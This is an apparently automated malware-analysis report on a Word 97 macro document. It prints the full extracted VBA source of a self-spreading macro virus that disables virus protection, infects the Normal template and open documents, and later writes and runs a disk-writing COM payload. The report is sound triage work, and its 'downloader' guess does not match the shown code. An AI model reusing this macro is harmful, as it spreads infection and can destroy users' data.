Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7699304ec99ce50e…

MALICIOUS

Office (OLE)

36.0 KB Created: 1997-09-17 15:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7f1d7135c39a30d72f75deab9577569e SHA-1: 3f53fe6ecd320cf670b9a5378520cac94c32b338 SHA-256: 7699304ec99ce50e6a8a2566b24ec81603cdeaaaa2614af62b7d0219f359909a
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The critical OLE_VBA_SHELL heuristic indicates the VBA macro uses the Shell() function to execute arbitrary code. The Document_Open macro is designed to run automatically when the document is opened, and the presence of a long encoded blob suggests a downloader. The script attempts to create a temporary file named '~\$WM<YYYYMMDD>.tmp' in the user's temporary directory, likely to stage a payload.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13094 bytes
SHA-256: 66d7d080decae36b290c9c554228b9db11f273edfd5a7157b0a74edabc166cf3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'5/3/04
'30/04/2004
'20/04/2004
'2003/9/4
Private Sub Document_Open()
'Anti-Smyser'
'A.T.P Ver 1.2
    On Error Resume Next
    Application.Options.VirusProtection = False
    Dim CodeStr As String: CodeStr = "B9040051BB0002B80102B90100BA8000CD13597308B400CD13E2E8EB2BB90002BE00028A04F6D08804464975F6B9040051BB0002B80103B90100BA8000CD13597306B400CD13E2E831C0CD21"
    Dim i As Integer, b As Byte, f As Integer, fn As String, s As String, det As Date
    If Mid(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) <> Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) Or Val(Right(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) < Val(Right(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    Dim Doc As Document, PreSaved As Boolean, Cloned As Boolean
    For Each Doc In Application.Documents
        PreSaved = Doc.Saved And (Doc.Path <> "") And Not Doc.ReadOnly: Cloned = False
        If Mid(Doc.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) <> Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) Or Val(Right(Doc.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) < Val(Right(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) Then Doc.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Doc.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        If Doc.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: Doc.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn: Cloned = True
        If Cloned And PreSaved Then f = FreeFile: fn = Doc.Path & "\~$" & Doc.Name: Err.Clear: Open fn For Output As f: If Err.Number = 0 Then Close f: Kill fn: Doc.Save
    Next Doc
    s = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1): Mid(s, 1, 1) = " ": det = s: If Date > det + 30 Then fn = Environ("TEMP") & "\SCANDISK.COM": f = FreeFile: Open fn For Binary Access Write As f: For i = 1 To Len(CodeStr) Step 2: b = CByte("&H" & Mid(CodeStr, i, 2)): Put f, , b: Next i: Close f: Shell fn, 6: Date = det
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub


' Processing file: /opt/analyzer/scan_staging/c9d47e79212e4304b96dcc963d97f61f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5301 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0006 "5/3/04"
' Line #1:
' 	QuoteRem 0x0000 0x000A "30/04/2004"
' Line #2:
' 	QuoteRem 0x0000 0x000A "20/04/2004"
' Line #3:
' 	QuoteRem 0x0000 0x0008 "2003/9/4"
' Line #4:
' 	FuncDefn (Private Sub Document_Open())
' Line #5:
' 	QuoteRem 0x0000 0x000C "Anti-Smyser'"
' Line #6:
' 	QuoteRem 0x0000 0x000D "A.T.P Ver 1.2"
' Line #7:
' 	OnError (Resume Next) 
' Line #8
... (truncated)